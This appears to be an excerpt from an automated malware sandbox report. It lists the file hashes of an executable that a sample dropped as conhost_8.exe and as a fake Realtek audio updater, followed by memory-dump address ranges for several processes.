                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    d5964473714226570dfb30e8c415cce0

                                                                    SHA1

                                                                    9ffa3375150c2efb2c2207de729d606d98f4693d

                                                                    SHA256

                                                                    3578b61ab311886b63406916b06b22cda7b56656d13e8a620aae3f9c24e1a7ff

                                                                    SHA512

                                                                    b0e71e545f7f10c6197caa3c3b2e6149f52c4c537538341831280e293091a2f991041f1aaf008e8e6287ff44e5e23dad21104cd6659af757efb91055cdec7422

                                                                  • C:\Users\Admin\AppData\Roaming\conhost_8.exe

                                                                    Filesize

                                                                    1.6MB

                                                                    MD5

                                                                    df5269f4c185bc0bb9cbee52ae862ec0

                                                                    SHA1

                                                                    9638ce72d4320a9ee2beb90f586ce797af81699b

                                                                    SHA256

                                                                    8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

                                                                    SHA512

                                                                    fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

                                                                  • C:\Users\Admin\AppData\Roaming\conhost_8.exe

                                                                    Filesize

                                                                    1.6MB

                                                                    MD5

                                                                    df5269f4c185bc0bb9cbee52ae862ec0

                                                                    SHA1

                                                                    9638ce72d4320a9ee2beb90f586ce797af81699b

                                                                    SHA256

                                                                    8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

                                                                    SHA512

                                                                    fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

                                                                  • \Program Files\Realtek\Realtek High Definition Audio\Updater.exe

                                                                    Filesize

                                                                    1.6MB

                                                                    MD5

                                                                    df5269f4c185bc0bb9cbee52ae862ec0

                                                                    SHA1

                                                                    9638ce72d4320a9ee2beb90f586ce797af81699b

                                                                    SHA256

                                                                    8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

                                                                    SHA512

                                                                    fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

                                                                  • \Users\Admin\AppData\Roaming\conhost_8.exe

                                                                    Filesize

                                                                    1.6MB

                                                                    MD5

                                                                    df5269f4c185bc0bb9cbee52ae862ec0

                                                                    SHA1

                                                                    9638ce72d4320a9ee2beb90f586ce797af81699b

                                                                    SHA256

                                                                    8dac33dc7e701cfd6344a03ed4275051f74f1b9377e9f03d6df81c6f1610b13d

                                                                    SHA512

                                                                    fb14b664b22a589142fec40ff34dd74e878da74ca9bff3820e7231071ef80c1adf811a65de6183ad9cfffe822a3a9eea0b13a88b737a6f268271cb9f1c19088b

                                                                  • memory/572-80-0x000000001B710000-0x000000001BA0F000-memory.dmp

                                                                    Filesize

                                                                    3.0MB

                                                                  • memory/572-75-0x000007FEF3200000-0x000007FEF3D5D000-memory.dmp

                                                                    Filesize

                                                                    11.4MB

                                                                  • memory/572-73-0x000007FEF3D60000-0x000007FEF4783000-memory.dmp

                                                                    Filesize

                                                                    10.1MB

                                                                  • memory/572-91-0x000000000270B000-0x000000000272A000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/572-82-0x0000000002704000-0x0000000002707000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/572-89-0x000000000270B000-0x000000000272A000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/572-90-0x0000000002704000-0x0000000002707000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/1344-109-0x0000000001074000-0x0000000001077000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/1344-110-0x000000000107B000-0x000000000109A000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/1344-108-0x0000000001074000-0x0000000001077000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/1344-107-0x000007FEF2D40000-0x000007FEF389D000-memory.dmp

                                                                    Filesize

                                                                    11.4MB

                                                                  • memory/1344-106-0x000007FEF3960000-0x000007FEF4383000-memory.dmp

                                                                    Filesize

                                                                    10.1MB

                                                                  • memory/1488-65-0x0000000002684000-0x0000000002687000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/1488-64-0x0000000002684000-0x0000000002687000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/1488-61-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1488-63-0x000007FEF2860000-0x000007FEF33BD000-memory.dmp

                                                                    Filesize

                                                                    11.4MB

                                                                  • memory/1488-62-0x000007FEF33C0000-0x000007FEF3DE3000-memory.dmp

                                                                    Filesize

                                                                    10.1MB

                                                                  • memory/1488-66-0x000000000268B000-0x00000000026AA000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/1680-54-0x0000000075281000-0x0000000075283000-memory.dmp

                                                                    Filesize

                                                                    8KB

                                                                  • memory/1680-55-0x0000000000400000-0x000000000100A000-memory.dmp

                                                                    Filesize

                                                                    12.0MB

                                                                  • memory/1680-60-0x000000007EBD0000-0x000000007EFA1000-memory.dmp

                                                                    Filesize

                                                                    3.8MB

                                                                  • memory/1680-59-0x0000000000400000-0x000000000100A000-memory.dmp

                                                                    Filesize

                                                                    12.0MB

                                                                  • memory/1824-96-0x000007FEF2860000-0x000007FEF33BD000-memory.dmp

                                                                    Filesize

                                                                    11.4MB

                                                                  • memory/1824-100-0x00000000024CB000-0x00000000024EA000-memory.dmp

                                                                    Filesize

                                                                    124KB

                                                                  • memory/1824-95-0x000007FEF33C0000-0x000007FEF3DE3000-memory.dmp

                                                                    Filesize

                                                                    10.1MB

                                                                  • memory/1824-97-0x00000000024C4000-0x00000000024C7000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/1824-99-0x00000000024C4000-0x00000000024C7000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/2004-116-0x000007FEF38C0000-0x000007FEF42E3000-memory.dmp

                                                                    Filesize

                                                                    10.1MB

                                                                  • memory/2004-118-0x000007FEF2D60000-0x000007FEF38BD000-memory.dmp

                                                                    Filesize

                                                                    11.4MB

                                                                  • memory/2004-120-0x00000000003D4000-0x00000000003D7000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/2004-127-0x00000000003D4000-0x00000000003D7000-memory.dmp

                                                                    Filesize

                                                                    12KB

                                                                  • memory/2004-128-0x00000000003DB000-0x00000000003FA000-memory.dmp

                                                                    Filesize

                                                                    124KB